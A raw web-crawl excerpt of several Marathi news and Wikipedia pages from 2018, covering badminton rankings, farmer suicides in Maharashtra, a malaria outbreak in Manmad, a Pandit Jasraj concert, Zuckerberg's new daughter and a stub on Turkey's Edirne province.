"crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00205.warc.wet.gz", "language": "mr", "language_score": 0.89, "bucket": "all"} {"url": "https://mahasports.co.in/bwf-rankings-srikanth-kidambi-climbs-to-world-no-2-ranking/", "date_download": "2018-09-25T17:02:18Z", "digest": "sha1:K6NWTG27UNLY35COSUHZZKDXJ5KX6524", "length": 7401, "nlines": 62, "source_domain": "mahasports.co.in", "title": "Breaking: किदांबी श्रीकांत जागतिक क्रमवारीत दुसऱ्या स्थानावर -", "raw_content": "\nBreaking: किदांबी श्रीकांत जागतिक क्रमवारीत दुसऱ्या स्थानावर\nBreaking: किदांबी श्रीकांत जागतिक क्रमवारीत दुसऱ्या स्थानावर\nजागतिक बॅडमिंटन असोशिएशनने नव्यानेच घोषित केलेल्या क्रमवारीत किदांबी श्रीकांत दुसऱ्या स्थानी आला आहे. फ्रेंच ओपन सुपरसिरीजनंतर आज ही क्रमवारी घोषित करण्यात आली.\nश्रीकांतची कारकिर्दीतील ही सर्वोच्च क्रमवारी असून यापूर्वी तो ऑगस्ट २०१५मध्ये तिसऱ्या क्रमांकावर होता. दोन आठवड्याच्या काळात श्रीकांत ८व्या क्रमांकावरून दुसऱ्या स्थानावर आला आहे.\nपॅरिस शहरात सुपर सिरीज जिंकणारा पहिला भारतीय खेळाडू बनण्याचा मान श्रीकांतला मिळाला आहे. ही स्पर्धा यापूर्वी सुपरसिरीज प्रकारातील नव्हती.\nया खेळाडूने यावर्षी फ्रेंच ओपन सुपरसिरीज, इंडोनेशिया ओपन (जून), ऑस्ट्रेलिया ओपन (जून) आणि डेन्मार्क ओपन (ऑक्टोबर) या ४ सुपर सिरीज स्पर्धा जिंकल्या आहेत.\nएका वर्षात २वेळा सलग दोन सुपरसिरीज स्पर्धा जिंकणारा श्रीकांत हा ली चॉन्ग (२०१२) नंतर केवळ दुसरा खेळाडू बनला आहे.\nअन्य भारतीय खेळाडूंमध्ये एचएस प्रणॉय कारकिर्दीतील सर्वोत्तम अर्थात ११व्या स्थानी आला आहे तर अजय जयराम २२व्या स्थानावर आहे. समीर वर्मा १८व्या तर सौरभ वर्मा ४१व्या स्थानावर आहेत. पी कश्यप ४५व्या स्थानी कायम आहे.\nपीव्ही सिंधू आणि साईना नेहवाल यांच्या क्रमवारीत कोणताही बदल झालेला नाही. साईना नेहवाल ११व्य स्थानी कायम असून पीव्ही सिंधू आपले दुसरे स्थान राखून आहे.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00205.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Seven-Farmers-Suicide-Every-Six-Months/", "date_download": "2018-09-25T17:15:02Z", "digest": "sha1:DB6TI3UZRQVNYNR573AKQBBB4XUK4LUV", "length": 4473, "nlines": 35, "source_domain": "www.pudhari.news", "title": " सहा महिन्यांत दररोज सात शेतकर्‍यांच्या आत्महत्या | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › सहा महिन्यांत दररोज सात शेतकर्‍यांच्या आत्महत्या\nसहा महिन्यांत दररोज सात शेतकर्‍यांच्या आत्महत्या\nराज्य सरकारने शेतकर्‍यांसाठी कर्जमाफी जाहीर करूनही शेतकर्‍यांच्या समस्या संपलेल्या नाहीत. जानेवारीपासून आतापर्यंत राज्यातील 1307 शेतकर्‍यांनी आत्महत्या केल्या आहेत. म्हणजेच गेल्या सहा महिन्यांमध्ये सरासरी दररोज 7 शेतकर्‍यांनी आपली जीवनयात्रा संपवली आहे.\nगेल्या वर्षी जानेवारी ते जून या सहा महिन्यांच्या कालावधीत 1398 शेतकर्‍यांनी आत्महत्या केल्या होत्या. यंदा हा आकडा 91 ने खाली आला आहे. मात्र, विविध भागांचा विचार करता आत्महत्यांचे प्रमाण वाढले आहे. मराठवाड्यात गेल्या सहा महिन्यांमध्ये 477 शेतकर्‍यांनी आत्महत्या केल्या आहेत. गेल्या वर्षी याच काळात मराठवाड्यात 454 शेतकर्‍यांनी आयुष्य संपवले होते. मुख्यमंत्री देवेंद्र फडणवीस यांचे ‘होम ग्राऊंड’ असलेल्या विदर्भातील परिस्थितीदेखील चिंताजनक आहे. गेल्या सहा महिन्यांमध्ये विदर्भात 598 शेतकर्‍यांनी आत्महत्या केली आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00206.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.saamana.com/manmadkar-suffering-from-malariaya/", "date_download": "2018-09-25T16:58:23Z", "digest": "sha1:H7GBW4NADADQL3R7V7X4D55T6GHBLSLV", "length": 17390, "nlines": 259, "source_domain": "www.saamana.com", "title": "मनमाडकर मलेरियाच्या तापाने फणफणले | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : अंबाती रायडू अर्धशतकानंतर बाद\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nमनमाडकर मलेरियाच्या तापाने फणफणले\nपावसाळ्यामुळे साथीच्या आजारांनी डोके वर काढले असून मनमाड शहरात डेंग्यू तसेच चिकन गुनियाचे रुग्ण वाढू लागले आहेत. शहरातील स्वच्छता तसेच आरोग्यसेवा पुरवण्यात नगरपालिकेची दिरंगाई होत असल्यामुळे मलेरियाच्या साथीने मनमाडकर फणफणले आहेत. या रुग्णांमुळे शासकीय उपजिल्हा रुग्णालय व शहरांतील सर्वच खासगी रुग्णालये फुल्ल झाली आहेत.\nगेल्या आठवडय़ात झालेल्या पावसामुळे या साथीच्या आजारांनी शहरात थैमान घातले आहे. मलेरिया व चिकन गुनिया हा नगरपालिकेच्या हाताबाहेर गेल्याचे चित्र सध्या दिसून येत आहे. चिकुन गुनियाचे 10 रुग्ण तर डेंग्यू व डेंग्यूसदृश्य आजाराचे सुमारे 8 रुग्ण शहरात आढळले असल्यामुळे नागरिकांमध्ये घबराट पसरली आहे. याची नगरपालिका प्रशासनाने तातडीने व गांभीर्याने पावले उचलायला हवीत. चिकुन गुनिया, मलेरिया व डेंग्यू या रोगांच्या साथीमुळे शहरातील आरोग्यव्यवस्थेचा नाकर्तेपणा समोर आला आहे. स्वच्छ, सुरक्षित व आरोग्यदायी मनमाडसाठी नगरपालिकेने या प्रश्नाकडे गांभीर्याने लक्ष देऊन कर्मचारी वाढविण्याची मागणी नागरिकांतून होत आहे.\nहे आजार स्वच्छ पाण्यातील डासांच्या आळ्यांमुळे होत असले तरी गेल्या काही दिवसांपासून सातत्याने पडणाऱया कमी अधिक पावसामुळे पाण्याचे डबके साचून डासांची संख्या वाढल्याने डेंग्यू आणि चिकुन गुनिया फैलावत असल्याचे पालिकेकडून सांगण्यात आले.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलराफेल व्यवहार हा मोदी सरकारचा सर्वात महाघोटाळा \nपुढीलसचिनच्या ‘विराट’ विक्रमांना फक्त कोहली गाठू शकतो, सकलेनची स्तुतिसुमनं\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00206.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.saamana.com/pandit-jasraj-music-event-in-ncpa-little-theater/", "date_download": "2018-09-25T17:12:12Z", "digest": "sha1:USBEKNAOU7U6DKPJRDS7XBMOISDD274X", "length": 16138, "nlines": 256, "source_domain": "www.saamana.com", "title": "पं. जसराज यांचे सुश्राव्य गायन गुरुवारी | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : अंबाती रायडू अर्धशतकानंतर बाद\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nपं. जसराज यांचे सुश्राव्य गायन गुरुवारी\nपं. जसराज मेवाती घराण्याचे गायक. त्यामुळे शास्त्रीय संगीत असो की भक्तीगीत… त्यांच्या गायनात रसिक डुंबायला लागतात. त्यांच्या मधुर स्वरांचा आस्काद रसिकांना आज गुरूवारी एनसीपीएच्या लिटील थिएटरमध्ये सायंकाळी 6.30 वाजता घेता येणार आहे.\nगुरुवारी होणाऱ्या 120 मिनिटांच्या कार्यक्रमात ते चार राग घेणार आहेत. यात जोग, मालकंस, कलावती आणि मियां मल्हार या रागांचा समावेश आहे. त्यानंतर ते दोन भजनं सादर करणार आहेत. पं. जसराज हे हिंदुस्थानी शास्त्रीय संगीतातील एक मोठे नाव. प्रारंभी वडील मोतीराम यांच्याकडून, तर नंतर आपले मोठे बंधू मणिराम यांच्या कठोर तालमीतून त्यांचे स्वर आणि सूर ताकून सुलाखून निघाले आहेत. दूरदर्शन आर्चिव्ह यांची प्रस्तुती असलेला हा कार्यक्रम विनामूल्य आहे. मात्र प्रथम येणारांना प्रथम सीट्स दिल्या जाणार आहेत. त्यामुळे 6.20 पर्यंत आपली जागा नक्की करा असे आवाहन एनसीपीएतर्फे करण्यात आले आहे.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nपुढीलनृत्य हीच माझी पूजा आणि श्रीकृष्ण माझा सहारा, चैतन्य, ऊर्जा\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00206.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://lokmat.news18.com/videsh/mark-zukerberg-announces-birth-of-his-new-daughter-268504.html", "date_download": "2018-09-25T17:01:52Z", "digest": "sha1:MAR5DW32OMNU54LYQF5SJOSYG5OGQ3MP", "length": 12592, "nlines": 126, "source_domain": "lokmat.news18.com", "title": "झुकरबर्गला कन्यारत्न, नाव ठेवलं 'ऑगस्टा'", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nझुकरबर्गला कन्यारत्न, नाव ठेवलं 'ऑगस्टा'\nया मुलीचं नाव झुकरबर्गने ऑगस्टा ठेवलं असून त्याने तिला फेसबुकवर एक 'ओपन लेटर'ही लिहिलं आहे.\n29 ऑगस्ट: तब्बल 2 अब्जाहून जास्त युजर्स असणाऱ्या फेसबुकचे सीईओ मार्क झुकरबर्गच्या पत्नीने एका मुलीला जन्म दिला आहे. या मुलीचं नाव झुकरबर्गने ऑगस्टा ठेवलं असून त्याने तिला फेसबुकवर एक 'ओपन लेटर'ही लिहिलं आहे.\nया पत्रात त्याने आपला आनंद व्यक्त केला आहे. तू खूप लवकर मोठी होऊ नकोस असंही तो म्हणतोय. त्याने जगात तिचं स्वागतही केलंय, पण त्यातही जगाच्या वास्तवाची कल्पनाही दिली आहे. झुकरबर्ग या पत्रात पुढे म्हणतो की बालपण जादुई असतं आणि ते एकदाच मिळतं त्यामुळे ते पूर्णपणे जगून घे. तसंच झुकरबर्ग दाम्पत्य तिच्या संगोपनासाठी प्रचंड उत्सुक आणि आनंदी असल्याचंही या पत्रात म्हटलंय. मार्क झुकरबर्ग आता ऑगस्टासाठी दोन महिन्यांची पॅटर्निटी लिव्ह घेणार असल्याचीही माहिती मिळते आहे.\nऑगस्टासाठी झुकरबर्ग कुटुंबावर जगभरातून शुभेच्छांचा वर्षाव होतो आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nVIDEO : इम्रान खान यांनी पंतप्रधान मोदींना पत्र लिहून केली विनंती\nडोनाल्ड ट्रम्प यांच्या पक्षाकडून गणपतीच्या जाहिरातीवर आक्षेपार्ह मजकूर\nपाकिस्तानशी चर्चा सुरू करा, इम्रान खान यांची पंतप्रधान मोदींना पत्र लिहून विनंती\nPHOTOS ऑस्ट्रेलियात बाप्पांचा उत्सव दणक्यात, अॅडलेडमध्ये ढोल-ताशांचा आव्वाज\nPHOTOS : UKमध्येही असं दणक्यात झालं गणरायाचं स्वागत\nगर्भवती महिलेच्या सुपमध्ये निघाला मेलेला उंदीर, हॉटेलने दिली गर्भपात करण्याची ऑफर\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00206.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://mr.wikipedia.org/wiki/%E0%A4%8F%E0%A4%A6%E0%A4%BF%E0%A4%B0%E0%A5%8D%E0%A4%A8%E0%A5%87_%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%BE%E0%A4%82%E0%A4%A4", "date_download": "2018-09-25T17:00:04Z", "digest": "sha1:NGX64Y6WUP5FA4P6RJLGCCYQ33QI4TBA", "length": 7681, "nlines": 160, "source_domain": "mr.wikipedia.org", "title": "एदिर्ने प्रांत - विकिपीडिया", "raw_content": "\nएदिर्नेचे तुर्कस्तान देशामधील स्थान\nक्षेत्रफळ ६,२७९ चौ. किमी (२,४२४ चौ. मैल)\nघनता ६३ /चौ. किमी (१६० /चौ. मैल)\nएदिर्ने प्रांतामधील जिल्ह्यांचा विस्तृत नकाशा (तुर्की भाषा)\nएदिर्ने (तुर्की: Edirne ili) हा तुर्कस्तान देशामधील एक प्रांत आहे. तुर्कस्तानच्या वायव्य भागातील भूमध्य समुद्रकिनाऱ्यावर मार्मारा प्रदेशामध्ये ग्रीस व बल्गेरिया देशांच्या सीमेजवळ वसलेल्या ह्या प्रांताची लोकसंख्या सुमारे ४ लाख आहे. एदिर्ने ह्याच नावाचे शहर ह्या प्रांताची राजधानी आहे..\nअंकारा • अंताल्या • अक्साराय • अदना • अमास्या • अर्दाहान • अर्दाहान • आफ्योनकाराहिसार • आय्दन • 